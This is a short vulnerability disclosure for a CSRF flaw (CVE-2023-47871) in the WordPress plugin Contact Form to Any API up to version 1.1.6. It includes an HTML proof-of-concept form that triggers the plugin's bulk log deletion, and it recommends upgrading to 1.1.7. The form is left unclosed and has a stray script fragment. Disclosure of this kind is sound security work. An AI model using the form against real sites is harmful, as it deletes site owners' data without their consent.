# Exploit Title: WP Plugins Contact Form to Any API <= 1.1.6 - CSRF
# Exploit Author: Arvandy
# Software Link:
# Vendor Homepage:
# Version: 1.1.6
# Tested on: Windows, Linux
# CVE: CVE-2023-47871

# Product Description
Contact form 7 to Any API is most powerful plugin to send cf7 data to any third party services. It can be use to send data to CRM or any REST API. Easy to use and User friendly settings. It also Save Contact Form 7 form submitted data to the database with advanced features like search and export data to csv or excel.

# Vulnerability overview
The Wordpress plugins Contact Form to Any API <= 1.1.6 is vulnerable to Cross-Site Request Forgery in the Delete All Log function. This vulnerability could lead to unauthorized deletion of API Logs.

# Proof of Concept
<form action="http://x.x.x.x/WP/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="cf7_to_any_api_bulk_log_delete" />
<input type="submit" value="Submit request" />
history.pushState('', '', '/');

# Recommendation
Upgrade to version 1.1.7